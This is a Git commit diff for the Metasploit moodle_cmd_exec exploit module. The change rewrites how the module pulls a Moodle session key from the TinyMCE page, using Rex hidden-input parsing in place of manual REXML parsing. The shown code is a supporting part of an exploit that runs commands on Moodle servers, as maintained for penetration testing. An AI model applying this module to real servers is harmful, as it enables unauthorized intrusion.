Land #6882, fix moodle_cmd_exec HTML parsing to use REX
commit
5bf8891c54
|
@ -9,7 +9,6 @@ require 'rexml/document'
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -101,17 +100,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'cookie' => sess
|
||||
})
|
||||
|
||||
tinymce.body.each_line do |line|
|
||||
next if line !~ /name="sesskey"/
|
||||
sesskey = line[0..line.index('>')]
|
||||
end
|
||||
|
||||
if sesskey == ''
|
||||
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
|
||||
unless sesskey
|
||||
fail_with(Failure::UnexpectedReply, "Unable to get proper session key")
|
||||
end
|
||||
|
||||
sesskey = REXML::Document.new sesskey
|
||||
sesskey = sesskey.root.attributes["value"]
|
||||
else
|
||||
sesskey = datastore['SESSKEY']
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue